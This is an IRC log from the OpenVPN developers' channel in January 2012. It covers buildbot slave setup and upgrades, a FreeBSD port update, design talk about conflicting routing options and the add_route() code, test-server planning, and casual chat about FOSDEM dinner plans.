09:16 <@mattock> not sure 09:17 <@mattock> if it gives you any trouble when authenticating, connecting, etc. I'd wait until the new master is up 09:17 <@cron2> here we go :) community VPN up 09:17 <@cron2> now let's find the buildbot setup instructions again 09:20 <@cron2> humm 09:20 <@cron2> easy_isntall fails on 0.8.5 09:21 <@cron2> error: Setup script exited with error: build/bdist.freebsd-7.4-RELEASE-amd64/egg/buildbot/VERSION: No such file or directory 09:21 <@cron2> 0.7.12 installs just fine 09:22 <@cron2> heh, weird, it installs fine, but fails when tested with "-n 0.8.5" 09:23 <@cron2> ok... pause... daughter wants "PAPA!!!" 09:24 <@cron2> mattock: can you please create account + builder "slave-cron2-freebsd-74-amd64" 09:25 <@cron2> meh 09:26 <@cron2> 0.8 buildbot doesn't know the command "create-slave" any longer?! 09:28 <@cron2> ah, need to install "buildbot-slave==0.8.5" as well and run the command "buildslave" 09:29 <@cron2> 2012-01-22 17:28:55+0200 [Broker,client] unauthorized login; check slave name and password 09:35 <@mattock> oh yes, of course, just a sec 09:35 <@mattock> static list of slaves at master 09:39 <@cron2> wut, my openbsd builder is offline 09:41 <@cron2> (the box has been rebooted, and the start-at-boot was *still* not working. should come back now) 09:41 <@mattock> I restarted buildmaster a couple of times 09:41 <@mattock> now the new slave should work 09:42 <@mattock> http://10.7.36.101:8010/buildslaves 09:42 <@cron2> yeah 09:42 <@cron2> 2012-01-22 17:42:29+0200 [Broker,client] Connected to 10.7.36.101:9989; slave is ready 09:43 <@cron2> openbsd is also happy 09:43 <@cron2> mattock: wanna send something to fbsd74? 09:43 <@cron2> (t_client.rc has been put in place! :-) ) 09:43 <@cron2> (empty, for now, of course) 11:11 <@mattock> cron2: building 11:11 <@mattock> configuring... 11:15 <@mattock> lZO headers were not found 11:46 <@cron2> aaaah 11:46 * cron2 hates our configure 11:46 <@cron2> the headers are where they always are on freebsd - in /usr/local/{include,lib}/ 11:46 * cron2 makes symlinks 11:47 <@cron2> mattock: plese re-run 11:48 <@mattock> running 11:49 <@cron2> wow, that was fast 11:50 <@mattock> build succeeded, nice! 11:52 <@cron2> cool 11:52 <@cron2> t_client.sh with sudo support next... 15:47 <@cron2> off to the git master... dazo: your turn :) 15:47 <@cron2> my next task: FreeBSD 9 buildslave :) 20:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jan 23 2012 01:26 -!- dazo_afk is now known as dazo 02:32 <@cron2> good morning folks :-) 02:35 <@mattock> morgen 02:44 <@cron2> mattock: the t_client.sh patch should help you with buildbot - now you can run buildbot as non-root, and still run connectivity tests 02:44 <@mattock> ah, ok 02:45 <@cron2> just define RUN_SUDO=sudo in t_client.rc, and if sudo is setup properly, off you go :) 02:45 * dazo goes to look at -devel mailing list 02:46 <@cron2> dazo: there's something for you to ack as well :) 02:46 <@dazo> I sensed that, somehow :) 02:56 <@cron2> is ecrist around? 02:57 <@cron2> ecrist: is there a specific reason why the FreeBSD port got stuck at 201139? 03:12 * dazo expects vpnHelper to notice the git pushes soonish .... 03:12 <@vpnHelper> RSS Update - testtrac: Platform cleanup for FreeBSD <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=62c613d46dc495d747074ca030d2cbdfd255c386> || add "print test titles" and "use sudo" functionality to t_client.rc <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9c6ee9d1ecd85535c5529df1144fb02f613f5134> 03:12 <@cron2> hee :) 03:13 <@cron2> first full test of the new freebsd 7.4 buildslave 03:14 <@dazo> I think we need to kick off those builds manually these days, it's not automatic anymore 03:14 <@cron2> wut 03:14 <@cron2> mattock: please be fixing! 03:15 <@dazo> (unless something has changed with the new version) 03:15 <@cron2> new version isn't active yet 03:15 <@dazo> ah 03:15 <@dazo> I think it was related to some of the triggers didn't really trigger 03:15 * dazo logs into community vpn 03:17 <@cron2> building... 03:17 <@dazo> :) 03:17 <@dazo> just kicked it 03:21 <@dazo> looks like the builds are going just fine :) 03:21 <@cron2> guessed so, but still nice to see it go off and do our work :) 03:21 <@cron2> yeah 03:22 <@cron2> automated connection tests are going to be interesting for the builds with --disable-ssl, though... :-o 03:22 <@cron2> something more for mattock to puzzle over :) 03:22 <@dazo> :) 03:23 <@dazo> hmmm ... this one got some issues ... slave-cron2-openbsd-49-i386 03:23 <@dazo> nm .... strlcat() complaints 03:23 <@dazo> /home/buildbot/build-openvpn/build-cron2-openbsd-49-i386-stable-master--disable-ssl/build/misc.c:2129: warning: strcpy() is almost always misused, please use strlcpy() 03:24 <@cron2> is that an error or just a warning? 03:24 <@cron2> openbsd is known to be somewhat annoying regarding "DO NOT USE THIS!" library functions 03:25 <@dazo> it's a warning 03:25 <@dazo> I noticed it was openbsd afterwards 03:29 <@mattock> cron2, dazo: yep, automated build probably don't work right now 03:29 <@mattock> the new buildserver which I'm atm setting up will not use the email-based changesource 03:29 <@mattock> it uses the much simpler GitPoller (every 10 mins) 03:29 <@mattock> it should be more robust in that regard 03:40 <@cron2> mattock: just for the record, buildslave 0.8.5 on the freebsd 7.4 machine now, works out of the box without modifying any .py files 03:40 <@mattock> nice! 03:41 <@mattock> if you want, you can upgrade the rest of your buildslaves to 0.8.5 03:41 <@mattock> not sure if it's mandatory, though 03:41 * cron2 doesn't want :-) "they are working fine right now" 03:42 <@mattock> :) 03:42 <@mattock> we'll see how it goes 03:42 <@cron2> dazo: thanks for the reminder with the "more verbose" comments - old habit from CVS times where you wanted short comments that show up in $Log$ bits inside the source files :-) 03:43 <@dazo> yeah :) 03:43 <@dazo> cron2: if you want to make it easer for you to submit patches ... look at git send-email ... 03:43 <@mattock> yep, that's a great tool 03:43 <@mattock> very easy to use 03:44 <@dazo> then you just do: git send-email HEAD~1 .... and it will send the last commit as an email 03:44 <@cron2> yeah, I really should start using that 03:45 <@mattock> it's a contributed script, so you might have to add it to PATH 03:51 <@mattock> and setting up .gitconfig (something like this: http://pastebin.com/zdwR0VV0) 04:08 <@mattock> old build is now offline 04:08 <@mattock> or at least the buildbot part of it 04:39 <@mattock> new buildbot is now up here: http://10.7.36.101:8010 04:39 <@mattock> it might go down occasionally, still ironing out the kinks 04:40 <@mattock> I'll start upgrading and configuring my buildslaves after lunch 04:41 <@mattock> if you force builds, note that umlauts in, say, "Your name" make it choke 04:41 <@mattock> which is kind of silly 04:41 <@cron2> uh 04:42 <@cron2> could we keep the old buildmaster URL, please? Otherwise I need to reconfig all my slaves 04:43 <@mattock> that's the old url 04:43 <@cron2> ah, perfect 04:44 <@cron2> since you posted an URL, I assumed it was new :) 04:45 <@mattock> it was for your convenience :D 04:45 * cron2 is at work and cannot access the community vpn anyway :) 04:47 <@mattock> oki 04:47 <@mattock> your buildslaves should not need any modifications, unless upgrading to 0.8.5 turns out to be mandatory 04:50 <@cron2> we'll see... 05:18 <@d12fk> cron2: can your brussels friend recommend a restaurant for sat. night? I'd like to make a reservation in advance, so we don't end up at burger king =) 05:43 <@cron2> d12fk: I'll check. Any specifics that you have in mind, like chinese/steak/dutch/...? 05:47 <@d12fk> piece o'meat and red wine must be served, nothing more specific =) 05:47 <@d12fk> actually i don't mind too much, should be nice and have a selection where anyone finds s.th. 05:47 <@d12fk> i.e. not too french =) 05:47 <@cron2> mail sent, let's see what she recommends :-) 05:48 <@d12fk> who'll join for dinner? 05:49 <@d12fk> andj: will you be at fosdem on sat.? 05:49 <@d12fk> maybe some astaro folks will join us btw 05:50 <@mattock> d12fk: I'll join 05:50 <@d12fk> three of my collegues will attend fosdem as well 05:50 <@d12fk> mattock, cron2 and dazo are set =) 05:50 <@mattock> ah, nice! 05:50 <@mattock> the more the merrier :) 05:51 <@cron2> is jjk coming? ams->bru isn't *that* far... 05:51 <@mattock> I think so 05:51 <@mattock> at least for a quick visit 05:51 <@mattock> no sure on which day 05:58 <@d12fk> mattock: is jjk in irc? 06:00 <@mattock> not atm 06:01 <@mattock> forums or email is probably the best way to reach him 06:11 <@d12fk> ok 07:41 < ecrist> cron2: only that I haven't updated it 07:41 < ecrist> I will do so today 07:44 < ecrist> cron2: I'm going to tag this week's release and then I'll update the port 07:45 <@mattock> all buildslaves upgraded to 0.8.5 07:45 < ecrist> I'll let you know when the port gets comitted to the ports tree 07:45 <@mattock> I'll trigger a build on all of them and see if any break 07:45 <@cron2> ecrist: ah. Wasn#t sure whether there was a particular reason ("it does not work!") or a cron job broke down or whatever 07:46 <@cron2> master-as-of-today is what you want, anyway, as I did some FreeBSD cleanup yesterday night :) 07:46 < ecrist> :) 07:46 < ecrist> the port only gets updated manually 07:46 < ecrist> I actually go through and make sure it's funcitonal before I release it 07:47 <@cron2> good thing 07:47 < ecrist> I don't push a port release when I know it's broken 08:09 <@mattock> ok, all buildslaves seem to build just fine with 0.8.5 08:09 <@mattock> old .pyc file caused some issues on fedora-16-i386 08:10 <@mattock> should remember to get rid of those 08:10 <@mattock> mails to openvpn-builds probably don't work atm 09:51 < ecrist> cron2: ports/164407 10:05 <@cron2> ecrist: is that a bug id? 10:05 < ecrist> yeah 10:05 < ecrist> it's for the port update 10:05 < ecrist> jpaetzel will likely take care of it shortly 10:11 <@cron2> ah, you don't have direct commit rights, but open a PR for it. understood :) 10:12 < ecrist> yeah, they're still grooming me for an actual commit bit 11:23 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:47 -!- dazo is now known as dazo_afk 12:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:40 <@vpnHelper> RSS Update - wishlist: SEO SUPPORT <http://forums.openvpn.net/topic9675.html> 14:53 < ecrist> ping cron2 14:53 < ecrist> openvpn-devel has been comitted. :) 15:29 <@cron2> \o/ 15:31 <@mattock> seo support? wtf... 15:35 < ecrist> mattock - making headway with LDAP again 15:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 15:37 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:37 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:38 < ecrist> the plan is to buy the license and SEO license next week or the week after 15:38 < ecrist> raidz tells me the skinning will be done today 15:46 <@mattock> ah, so the forum post _was_ related to something 15:55 < ecrist> no 15:55 < ecrist> SEO is a 'thing' but not really related 15:55 < ecrist> I locked it and told him to GTFO 16:09 <@raidz> ecrist: I haven't heard from Narendra today so I assume he will have it tomorrow 16:09 <@raidz> or maybe tonight 16:09 < ecrist> ok, I'm not ready with LDAP, yet, but actually making headway 16:09 <@raidz> our time zone difference is weird 16:09 <@raidz> no worries 16:09 < ecrist> I think this'll actually be maintainable, too 16:10 <@raidz> :-) 16:10 < ecrist> I scrapped the other module I found in favor of using my working code 16:10 < ecrist> at this point, it actually authenticates successfully, but doesn't do the right thing with it, yet 16:11 <@raidz> hehe 18:16 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has quit [Ping timeout: 272 seconds] 18:16 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 19:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Jan 24 2012 02:07 -!- dazo_afk is now known as dazo 02:19 -!- Netsplit *.net <-> *.split quits: uuuppz 03:03 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has left #openvpn-devel [] 07:39 <@mattock> does openvpn.net, community.openvpn.net or forums.openvpn.net work for you guys? 07:49 < ecrist> yes 07:52 <@dazo> yupp 07:52 <@mattock> good 07:52 < ecrist> 4chan is having issues with cloudflare today, though. 07:52 <@mattock> not for me atm 10:43 <@d12fk> what to do if --service-pipe and --route-method are given? bail out throwing error? 10:44 <@d12fk> or the softer upgrade path of ignoring the --route-method and telling this via log 10:44 <@d12fk> after all it's not security related 10:46 <@dazo> d12fk: I would say bail out with a warning about conflicting options 10:46 <@dazo> force the user to have proper configs 10:47 <@d12fk> dazo: then users with old configs will fail to connect once they get the new client 10:47 <@d12fk> ecrist: you're located in the twin cities? 10:48 <@dazo> yeah, I know ... just concerned that not doing so will confuse people even more .... "I'm using the new GUI, but --route-method doesn't work for me"-type of support issues - in best case 10:49 <@dazo> would it be possible for the GUI to pop up a warning "Hey, you can't use --route-method, do you want me to fix your config?" ... could be a cleaner upgrade path in the long run 10:49 <@d12fk> you'd rather have the "openvpn stopped working" suport issues? 10:50 <@dazo> well, in that case ... its just to point the user at the log file .... if the user is that stupid, he doesn't deserve VPN connections </sarcasm> ;-) 10:51 <@d12fk> the question is if users really care for the route method or rather the routes that it sets 10:51 <@d12fk> in the latter case the soft option is what ppl want 10:51 <@dazo> that's the problem, as most users just cares if it works or not ... not why ... 10:52 <@d12fk> the ignoring the route-method in case of service-pipe is the way to go 10:53 <@dazo> I don't want us to sew pillows under users arms and pat them on their back each time they're having a hick-up ... as it will just make the core product more bloated 10:53 <@dazo> I want to *educate* users 10:54 <@d12fk> not in this case, we need the chack anyways and the education part is in there as well in form of a log message 10:54 <@dazo> because the soft-solution, will just fill logs with warnings ... and nobody will fix it ... if it won't work, they'll have to fix it 10:55 <@d12fk> i dont think it's legal to break config files in minor releases 10:56 <@dazo> uhm ... isn't this going to be a major update? (v2.3 is a major upgrade) 10:56 <@dazo> 2.2.x is minor 10:57 <@d12fk> that's bugfix 10:58 <@dazo> well, that's how we have defined it here actually .... 2.1.x and 2.2.x is considered minor updates, and 2.y.0 are major updates 10:58 <@d12fk> ok then 11:00 <@dazo> I agree, if this would have been done in a minor update, it would have to be the soft-way ... but as 2.3 is a major, I don't see why to be harder ... we've even discussed to add more config breaking changes to 2.3 and 2.4, to clean up stuff 11:00 <@dazo> why *not* to be harder, I meant 11:01 < ecrist> w00t 11:01 < ecrist> d12fk: yes, I am 11:02 * ecrist gets successful log in to vb with LDAP 11:02 < ecrist> :D 11:02 * ecrist is still a ways off from done 11:04 <@dazo> cool!! 11:04 < ecrist> dazo: I'm on your side on this, if it's broken, bail out 11:04 < ecrist> it's been our experience users don't read the logs, or understand them. 11:05 <@d12fk> ecrist: good on ya. I was living in a place past Wayzata for year. 11:05 < ecrist> log a message, but just give up 11:05 < ecrist> d12fk: Delano, Long Lake? 11:05 < ecrist> Hutchinson? 11:05 <@d12fk> Long lake 11:05 < ecrist> nice 11:06 < ecrist> My in-laws live in Maple Plain, and I was a special deputy out that way for a year or so in 2010 11:07 <@d12fk> ecrist: had a very good time there, good memories 11:10 < ecrist> when was that, d12fk ? 11:10 <@d12fk> '98 11:10 <@d12fk> a.k.a when i was young =) 11:10 < ecrist> heh, I had just graduated high school that spring 11:11 <@d12fk> jesse ventura just became govenor 11:11 < ecrist> ah, yes, the time of awesome 11:11 <@d12fk> the vikings had not lost a single game during season 11:11 <@d12fk> and fail big time in play offs =) 11:11 < ecrist> 93x does a bit with jesse ventura making fun of the ramsey county water patrol (where I am a reserve now) 11:13 <@d12fk> what do you patrol for? 11:13 < ecrist> water patrol 11:13 <@d12fk> yeah like... sharks?! 11:13 < ecrist> we do water safety, body recoveries, etc 11:13 <@d12fk> soaked corpses, yummy 11:13 < ecrist> I was one of the first responders when 35W collapsed 11:13 < ecrist> oh yeah, good times 11:14 <@d12fk> 35W collapsed? 11:14 < ecrist> yeah, the mississippi bridge 11:14 <@d12fk> i saw the metro domw go down but that i missed 11:14 < ecrist> in 2008 11:14 <@d12fk> oh yeah that recall it now 11:14 < ecrist> http://en.wikipedia.org/wiki/I-35W_Mississippi_River_bridge 11:14 <@vpnHelper> Title: I-35W Mississippi River bridge - Wikipedia, the free encyclopedia (at en.wikipedia.org) 11:15 <@d12fk> that was terrible 11:16 <@d12fk> i had gone over that bridge several times, makes it even more eerie 11:16 < ecrist> heh, I still get a small knot in my stomach going over the new bridge 11:17 <@d12fk> can imagine 11:54 -!- dazo is now known as dazo_afk 12:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:34 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 14:29 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has joined #openvpn-devel 15:29 -!- lbalbalba [lbalbalba@dhcp-077-251-003-044.chello.nl] has quit [Quit: HydraIRC -> http://www.hydrairc.com <- Po-ta-to, boil em, mash em, stick em in a stew.] 18:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:26 -!- michaelgamble [~michaelga@CPE00195b25196b-CM001cea3dc820.cpe.net.cable.rogers.com] has joined #openvpn-devel 21:26 -!- michaelgamble [~michaelga@CPE00195b25196b-CM001cea3dc820.cpe.net.cable.rogers.com] has left #openvpn-devel [] 21:36 <+krzee> you guys seen this? http://www.peervpn.net/ 21:36 <@vpnHelper> Title: PeerVPN - the open source peer-to-peer VPN (at www.peervpn.net) --- Day changed Wed Jan 25 2012 00:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:43 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] --- Log closed Wed Jan 25 02:17:28 2012 --- Log opened Wed Jan 25 07:08:34 2012 07:08 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:08 -!- Irssi: #openvpn-devel: Total of 13 nicks [6 ops, 0 halfops, 1 voices, 6 normal] 07:08 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 07:59 -!- dazo_ [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:59 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 08:00 -!- dazo [dazo@openvpn/community/developer/dazo] has quit [Disconnected by services] 08:00 -!- dazo_ is now known as dazo 09:25 <@dazo> hmmmm .... I might have have found a bug in master .... but not sure how to reproduce it .... seems to be some issues with PUSH_REQUEST not being tackled on reconnections 09:33 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 09:34 -!- Netsplit *.net <-> *.split quits: @andj --- Log closed Wed Jan 25 09:39:22 2012 --- Log opened Wed Jan 25 10:15:23 2012 10:15 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 10:15 -!- Irssi: #openvpn-devel: Total of 11 nicks [5 ops, 0 halfops, 1 voices, 5 normal] 10:15 !pratchett.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp 10:15 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 10:58 <@d12fk> whats your preferred way to pass the pipe handle to add_route() 10:59 <@d12fk> the handle could be part of struct route_list and then passed on as a parameter to add_route*() 11:00 <@d12fk> adding it to the env_set would be dirty but save an additional specific parameter 11:00 <@dazo> I honestly don't know ... but that's because I don't know these code paths so well 11:01 * dazo will look more at it tomorrow 11:01 <@d12fk> seem however it will be done it'll be messy 11:01 <@dazo> yeah, I don't recall all the ways such things can be done 11:01 <@d12fk> i think i hack it in and come up with a solution later =) 11:02 <@dazo> that's probably one way to go right now, but let's fix it before you submit the patch :) 11:02 <@d12fk> "The last thing one knows in constructing a work is what to put first" 11:03 <@d12fk> i think the routing code is unfixable =) 11:04 <@dazo> it takes struct route_option_list ... right? 11:04 <@d12fk> no that one's for pushes 11:05 <@d12fk> just route_list 11:05 * dazo just quickly looked at add_route() 11:05 <@dazo> putting it into struct route_list would be quite dirty 11:06 <@d12fk> passing the handle through every function is as well 11:06 <@dazo> which places are calling add_route()? 11:06 <@d12fk> tun.c and route.c 11:06 <@d12fk> havent looked at tun i must admit 11:07 <@d12fk> do_ifconfig() when tt->topology == TOP_SUBNET 11:08 <@d12fk> code duplication ftw there =) 11:08 * d12fk throws up 11:09 <@d12fk> anything i do wont make it worse =) 11:10 <@dazo> after having looked quickly at route.c ... I'd say extending add_route() and add_route3() to take an parameter might be worthwhile .... just wondering if it could be clever to pass over a struct option * 11:10 <@dazo> and kill this issue once and for all 11:11 <@d12fk> this param is useless if no --service-pipe was passed 11:11 <@d12fk> still ok? 11:12 <@dazo> yeah, that options pointer may be useful anyway for other things later on 11:12 <@d12fk> oh, _option_ pointer, misread 11:12 <@dazo> if we just expand with a service-pipe fd, we might need to expand later again 11:12 <@dazo> ahh 11:12 <@d12fk> yeah, that'll be the best /option/ =) 11:12 <@dazo> :) 11:14 <@dazo> okay, I'm heading out now :) 11:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:17 -!- dazo is now known as dazo_afk 19:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 22:30 * ecrist continues work on forum --- Day changed Thu Jan 26 2012 02:24 -!- dazo_afk is now known as dazo 06:49 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:51 <@mattock> do we want to have a meeting this evening? 06:51 <@mattock> or need to 07:09 <@dazo> uhm ... I don't know ... still kind of waiting to hear from James regarding the merge conflict 07:50 <@mattock> I'll mention that to him and say that if there are any issues, he should visit the channel and discuss them 07:50 <@mattock> say, during meeting time 07:53 <@dazo> that's fine for me, I'll be idling probably (with other tasks) ... but I'll be available 08:19 <@mattock> mail sent 08:42 -!- dazo is now known as dazo_afk 08:47 -!- dazo_afk is now known as dazo 11:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:12 <@dazo> sure hope james are tackling git things now ... 13:25 <@mattock> well, it would make sense for him 13:25 <@mattock> but I'm constantly surprised how people do things you think make no sense :D 13:25 <@mattock> ...things one thinks... 13:44 <@dazo> :) 15:00 -!- dazo is now known as dazo_afk 16:26 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:26 -!- mode/#openvpn-devel [+o cron2] by ChanServ 19:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Jan 27 2012 02:39 -!- dazo_afk is now known as dazo 03:03 <@mattock> james said he's working on the merge conflict now 03:14 <@dazo> mattock: I got a patch this morning :) 03:14 <@mattock> ah, great! 03:14 <@mattock> \o/ 03:14 <@mattock> :) 03:15 <@mattock> poking seems to help 03:15 <@dazo> sure is ... even generated with git format-patch :) 03:15 <@mattock> omg :D 03:15 <@dazo> hehehe 03:15 <@mattock> I'll start poking at the public test server thingy now 03:16 <@mattock> if I manage to access the console somehow, we'll see 03:17 <@dazo> nice! 03:17 <@dazo> (and James' patch applied cleanly :)) 03:20 <@dazo> mattock: at some point we should also discuss how long we will retain the RHEL4 support ... the regular EOL is Febr 29, 2012 ... but for those enterprise customers paying extra, they will have an extended life time until Febr 28, 2015 03:21 <@dazo> (https://access.redhat.com/support/policy/updates/errata/) 03:21 <@vpnHelper> Title: access.redhat.com | Red Hat Enterprise Linux Life Cycle (at access.redhat.com) 03:21 <@mattock> I'd say drop it at Feb 29th 03:21 <@mattock> if somebody wants to contribute compatibility patches after that, that's fine 03:22 <@dazo> yeah, I agree 03:22 <@mattock> I think James generates AS packages for RHEL4 03:22 <@mattock> so it might be James who provides those compatibility patches if we get him to 2.3 :D 03:23 <@dazo> those extra 3 years are basically just critical security patches, not much extra 03:23 <@dazo> hahaha ... true! :) 03:23 <@dazo> "ELS provides critical impact security fixes and selected urgent priority defect fixes that are available and qualified for a subset of the packages in a specific major releases of Red Hat Enterprise Linux beyond the end of its regular 7-year life cycle." 03:24 <@dazo> In other words, ELS is actually just a respirator service 03:24 <@mattock> "respirator service" :D 03:25 <@mattock> "don't want to move forward - buy our respirator service for your obsolete OS" 03:25 <@dazo> s/obsolete/dying/ 03:26 <@dazo> oh, respirator might be something else in English than what I thought it was .... hmmm 03:26 <@dazo> medical ventilator was the right word :) 03:26 <@mattock> well, it sounded right :) 03:26 <@dazo> :) 03:41 <@mattock> hmm, vmware vsphere client installer is ... 244MB 03:41 <@mattock> lol 03:41 <@mattock> and only runs on windows 03:41 <@mattock> I'll try wine first 03:45 <@dazo> heh 03:45 <@vpnHelper> RSS Update - testtrac: Added support for "on-link" routes on Linux client <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8fc83a2d6cfa44032f38e13fc2f7dbc096f584d9> || Add --route-pre-down/OPENVPN_PLUGIN_ROUTE_PREDOWN script/plug-in hook <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=415421c24ac5b62d59fb8f03076521cba6f126cc> 03:58 <@mattock> not only that, it also downloads 235MB of .Net framework during install 03:59 <@mattock> so, probably a gigabyte of crap gets installed 03:59 <@dazo> ugh 04:23 <@d12fk> cron2: any response from your friend about the dinner place? 04:57 <@cron2> d12fk: nothing yet, sorry 07:20 <@d12fk> wooot! openvpn just set the routes via service for the first time. 07:22 <@cron2> cool 08:01 < ecrist> ping mattock 08:01 <@mattock> pong 08:01 <@mattock> re: vm network? 08:01 < ecrist> aye 08:02 < ecrist> I'm looking for an IP now, I think I have one free 08:02 <@mattock> ok, nice! 08:06 <@mattock> the port ranges are not important, as long as there a plenty of ports available for the openvpn daemons 08:06 <@mattock> both tcp and udp 08:07 <@dazo> d12fk: coool! 08:07 < ecrist> mattock: 173.8.118.218/28 08:08 < ecrist> def gw 173.8.118.222 08:08 <@mattock> IPv6, too? 08:09 <@mattock> is there/can there be? 08:12 < ecrist> there isn't at this point 08:12 <@mattock> ok 08:13 < ecrist> but the current home of that box is temporary 08:13 < ecrist> I'm hoping to move it to a real data center soon 08:13 <@mattock> most of the buildslaves wouldn't have IPv6, either 08:13 <@mattock> cron2's would, though 08:15 < ecrist> does that box need a public IP, or could it exist on a vlan and connect via openvpn? 08:15 < ecrist> just curious 08:16 <@mattock> well, the OpenVPN (client) daemons running to a buildslaves need to be able to connect to an appropriate OpenVPN (server) daemon 08:16 <@mattock> port forwarding would probably do the trick also 08:19 <@mattock> running _on_ the buildslaves 08:19 <@mattock> excuse my french 08:20 <@cron2> ecrist: public IP would be better, otherweise you have openvpn-through-openvpn, which is not the most robust test rig... 08:20 <@mattock> yeah 08:21 < ecrist> ah, good point. 08:21 <@cron2> also, public IP is *good*. All this private IP stuff is so... IPv4-ish... :) 08:21 <@mattock> it would probably give false positives 08:21 <@mattock> cron2: yep, I'd love to run security updates on my microwave that has a public IPv6 address :D 08:21 <@mattock> so that it does not explode by accident :P 08:22 <@cron2> mattock: now whether I'd make that microwave *reachable* from the general Internet is a completely different question :-) 08:22 <@mattock> yep 08:22 * dazo is not sure he wants his microwave on a network at all ... 08:22 < ecrist> ironically, if I put that box on my LAN, it could have IPv6 public address, but it would have a private IPv4 address 08:22 <@mattock> all this NAT stuff has some benefits 08:23 <@cron2> mattock: sure, it is job security for network admins. 08:23 <@dazo> no, not really ... NAT is a nasty hack to squeeze more boxes into an exhausted IPv4 address scope 08:23 <@mattock> that also 08:23 < ecrist> dazo/cron2++ 08:23 <@cron2> the more complex a multi-NAT network is, the more secure your job is, because nobody else would understand it... 08:23 <@mattock> it worked for a while as a stopgap solution 08:23 * cron2 builds VPNs with NAT a lot these days 08:24 <@dazo> yeah, NAT is security through confusion and chaos 08:24 <@mattock> cron2: I got to stop documenting everything and go for my own little vendor lock-in :D 08:24 <@cron2> mattock: your job is secure. Nobody else understands building on windows. 08:24 <@cron2> or wants 08:25 <@mattock> lol 08:25 <+krzee> lol 08:25 <@mattock> python build_all.py -u -n 08:25 <@mattock> how hard can it be? :P 08:25 <@mattock> (after tedious 8 hour initial setup) 08:26 <@dazo> mattock: yeah, that's right ... until it breaks ... which we're sure it will ... sooner or later ;-) 08:29 <@mattock> hmm, each commit to git will trigger 144 builds and 576 connections to the test server 08:30 <@mattock> _if_ we provide server instances for each build flag combination 08:30 <@dazo> hehehehe 08:30 <@dazo> I'd say for now, we can only do such tests on the "complete build" with all features 08:30 <@mattock> if only for default settings, then it's 9 buildslave x 4 08:37 <@mattock> ecrist: I'll probably setup the VM next Monday 08:37 <@mattock> I hope it's more or less setup before FOSDEM 08:38 < ecrist> ok 08:40 <@cron2> dazo: +1 08:40 <@cron2> though it might be interesting to build test cases (on a single buildslave) for "--disable-ssl" and "--disable-crypto" and such 08:42 <@dazo> agreed 09:49 <@mattock> those of you native english speakers who claim english is an easy language (to speak), take a look here, please: http://www.thepoke.co.uk/2011/12/23/english-pronunciation/ 09:49 <@vpnHelper> Title: English Pronunciation | The Poke: (at www.thepoke.co.uk) 09:49 <@mattock> :P 09:55 <@d12fk> jesus f*in christ 09:55 <@d12fk> whats wrong with the guy who wrote this 09:56 <@dazo> hahahaha 09:59 <+krzee> mattock, i totally agree, i tell people all the time that english is way hard 09:59 <+krzee> cause there are no real rules 09:59 <+krzee> you need to know each case 10:02 <@dazo> krzee: you haven't tried to learn Czech ... English is super easy :-P 10:04 <+krzee> would you feel the same if you started knowing czech and then learned english? 10:04 <+krzee> cuase you're right, ive never even heard czech 10:04 